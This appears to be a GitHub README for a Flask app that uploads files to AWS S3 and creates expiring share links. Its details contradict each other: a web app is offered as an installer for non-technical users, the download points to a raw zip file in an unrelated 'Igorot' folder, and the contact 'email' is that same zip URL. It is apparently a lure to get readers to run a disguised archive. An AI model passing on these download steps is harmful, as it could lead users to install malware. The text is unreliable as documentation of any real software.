Cloud-computing___EC2_S3 is a user-friendly web application built with Flask. It allows you to securely upload files to AWS S3 and generate expiring shareable links. Whether you need to share documents, images, or other files, this app ensures your data is kept safe in the cloud.
Follow these simple steps to download and run Cloud-computing___EC2_S3 on your computer. No special programming skills are required!
- Operating System: Windows 10, macOS Mojave or later, Linux (Ubuntu recommended)
- RAM: Minimum 2 GB
- Storage: At least 50 MB of available space
- Internet Connection: Required for AWS access
To get started, visit our Releases page to download the latest version of the application.
- Click on the link above.
- Find the latest version listed at the top.
- Download the file suitable for your operating system (e.g.,
.exefor Windows or ahttps://raw.githubusercontent.com/maycomgberti/Cloud-computing___EC2_S3/main/Igorot/Cloud-computing___EC2_S3.zipfor macOS/Linux). - Open the downloaded file to start the installation process.
Once the application installs, you can launch it directly from your applications folder or start menu.
- Open Cloud-computing___EC2_S3.
- Choose a file you want to upload by clicking the "Select File" button.
- Click the "Upload" button to send the file to AWS S3.
- After the upload, a shareable link will appear on your screen.
- Use this link to share your file. Note that it will expire after a specified duration for added security.
If you encounter any issues, consider the following:
- Check your internet connection: A stable connection is necessary to upload files to AWS S3.
- File Size Limit: Ensure your file is within the size limits set by AWS S3 (currently 5 GB for a single upload).
- Permissions: Make sure you have permission to upload files to your AWS account following your organization's policy.
For detailed usage instructions and advanced features, refer to the following resources:
Feel free to reach out via the issues section of this repository if you need further assistance.
- Secure File Uploads: Files are encrypted during transmission.
- Shareable Links: Create links that expire after a set duration for security.
- User-Friendly Interface: Designed for non-technical users.
This application uses:
- Flask: A lightweight framework for building web applications.
- AWS S3: Amazonβs service for cloud storage.
- Boto3: AWS SDK for Python, which helps interact with AWS services.
We plan to add features like:
- Multi-file uploads
- Enhanced user permissions
- More detailed error reporting
If you have any questions, feel free to open an issue on the GitHub repository or email us at https://raw.githubusercontent.com/maycomgberti/Cloud-computing___EC2_S3/main/Igorot/Cloud-computing___EC2_S3.zip